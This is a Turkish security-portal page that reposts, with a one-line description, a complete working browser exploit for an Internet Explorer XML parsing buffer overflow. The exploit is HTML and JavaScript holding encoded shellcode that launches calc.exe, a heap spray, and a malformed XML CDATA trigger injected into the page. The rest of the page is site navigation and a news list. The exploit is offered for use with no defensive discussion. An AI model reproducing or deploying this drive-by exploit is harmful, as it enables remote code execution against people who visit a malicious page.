ID
ŞİFRE

Sahhan Network

Security Box içinde bulunan diğer güvenlik firmaları ile birlikte en son güvenlik açıklarını tespit eder ve bunları whitepaper olarak internete sunar

NOT: Kurumsal çözümler veya üyelik için mail atmanız gerekir. .

Network
- CISCO
  - CCNA
  - CCNP
  - CCIE
- MICROSOFT
- LINUX
  - RED HAT
  - MANDRAKE
  - SUSE
  - CENTOS
Yazılım
- Visual Basic
- C++
- C#
- JAVA
- Algoritma
- Web
- Grafik
Güvenlik
Donanım
E-Akademi
İletişim
Ana Sayfa
Forum

Toplam Okunma : 3422

MS Internet Explorer XML Parsing Buffer Overflow Exploit

Micorosoft un İnternet Explorer için açıklama [açıklama] yapmasına sebep olan büyük güvenlik açığı

xml parserinde yeni bulunan bir yazılım hatası sonucu, saldırgan kodlar barındıran bir web sitesinin kullanıcının makinasında bilinen path'deki exe'yi çalıştırabildiği kodlardır.

<html> <div id="replace">x</div> <script> // windows/exec - 148 bytes // Encoder: x86/shikata_ga_nai // EXITFUNC=process, CMD=calc.exe var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580"); // ugly heap spray, the d0nkey way! // works most of the time var spray = unescape("%u0a0a%u0a0a"); do { spray += spray; } while(spray.length < 0xd0000); memory = new Array(); for(i = 0; i < 100; i++) memory[i] = spray + shellcode; xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><XML ID=I></XML>"; tag = document.getElementById("replace"); tag.innerHTML = xmlcode; </script> </html>

	Son Haberler
	Windows 7 Lisans Kısıtlamalarına Dikkat!

	Windows 7 Geliyor

	3G Nedir? Ne getirecek?

	Filistin'e hacker desteği

	3G neler getirecek?

	Görünmezlik Gerçek Oldu

	Kablolu klavyeler de güvenli değil!

	Blog sitenize girmenin yolu

	Facebook müzik işinde

	Google Analytics yenilendi

Ayın yazılımı: Malwarebytes

Malwarebytes' Anti-Malware ile bilgisayarınıza bulaşıp yerleşen virüsler, solucanlar, truva atları, rootkitler, çeviriciler, casus yazılımlar ve malware denen kötü amaçlı tüm yazılımlara karşı sisteminizi taratıp temizleyebilirsiniz.devamı

Etiketler

Yazılım Donanım
Web Tasarım Grafik
Güvenlik Haber
Network
Genel Tartışmalar
Cisco Eğitimleri
MCSE Eğitimleri
ISA Server Exchange
Linux Grafik

sahhan@2008